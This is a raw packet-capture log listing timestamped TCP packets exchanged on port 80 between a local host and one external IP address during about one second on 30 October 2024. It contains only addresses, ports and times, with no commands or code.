Oct 30, 2024 20:13:23.575068951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575289011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575334072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575351954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575366020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575433016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575434923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575582027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575830936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575881004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575896978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575908899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575939894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575958014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.576031923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.576044083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.576055050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.576087952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.576103926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663409948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663434982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663444996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663511992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663511992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663516045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663527012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663573027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663671017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663729906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663742065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.663762093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663762093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.663804054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.664020061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.664066076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.664077044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.664083958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.664120913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.664120913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.696203947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696363926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.696515083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696526051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696537018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696548939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696558952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696595907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.696647882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.696652889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696665049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.696696043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.696731091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697006941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697077990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697081089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697088003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697128057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697298050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697364092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697393894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697406054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697473049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697510004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697567940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697756052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697822094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697833061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.697855949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697871923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.697935104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.698003054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.740530968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.740554094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.740592003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.740638971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.785240889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785320997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.785629034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785640001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785700083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.785836935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785885096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.785923004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785933971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.785995007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.786029100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.786039114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.786048889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.786062002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.786094904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.786108017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818245888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818257093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818269014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818321943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818357944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818376064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818387032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818397999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818445921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818445921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818526983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818613052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818665981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818676949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818707943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818766117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818792105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818804979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.818840027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.818840027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.819009066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819020987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819031000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819044113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819053888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.819071054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.819186926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.819705963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819765091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.819787025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819797993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.819858074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.860455036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.860538960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.860660076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.860671043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.860743999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.907422066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907474995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907485962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907496929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.907556057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.907640934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907653093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907732964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.907748938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907758951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907799006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.907825947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.907969952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.908273935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.908370018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940048933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940110922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940205097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940222025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940263033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940310001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940321922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940332890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940346956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940375090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940375090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940414906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940562010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940613031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940656900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940666914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940728903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940790892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940841913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940854073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940865993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.940890074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940924883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.940998077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941065073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.941226959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941271067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.941323042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941333055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941343069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941371918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.941462994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.941529036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941606045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.941623926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.941659927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.983706951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.983773947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.983896017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.983937979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.984183073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.984231949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029593945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029607058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029618025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029658079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029691935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029706001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029719114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029747963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029761076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029869080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029887915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029898882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.029915094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.029928923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.061991930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062045097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062060118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062097073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062194109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062205076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062216043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062223911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062236071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062248945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062397003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062439919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062544107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062553883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062591076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062640905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062652111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062663078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.062684059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.062702894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063004017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063052893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063069105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063081980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063114882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063126087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063271046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063287020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063298941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063311100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063316107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063342094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063368082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063513041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063558102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063853025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063915968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.063980103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.063991070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.064027071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.104650021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.104717016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.104718924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.104727983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.104763031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.151952028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152007103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152019024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152030945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152056932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152077913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152220011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152230978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152241945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152255058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152267933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152292013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152559996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152571917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152607918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.152815104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.152863026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.183933973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.183993101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.183995962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184005976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184039116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184096098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184107065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184118032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184129000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184134007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184163094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184501886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184549093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184586048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184597015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184627056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184643984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184654951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184691906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184905052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184954882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.184969902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.184982061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185007095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185019970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185066938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185102940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185190916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185203075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185240030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185645103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185691118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185714006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185729980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185751915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185795069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.185812950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.185863972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.226614952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.226666927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.226675987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.226732016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.226749897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.273936987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.273994923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274007082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274033070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274045944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274133921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274146080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274162054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274173021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274203062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274343967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274383068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274389029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274399996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274427891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274437904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.274591923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.274760008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306008101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306118011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306132078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306157112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306169033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306170940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306170940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306184053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306191921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306210995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306278944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306292057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306329012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306377888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306391001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306401968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306426048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306437016 CET	49758	80	192.168.2.4	185.215.113.206
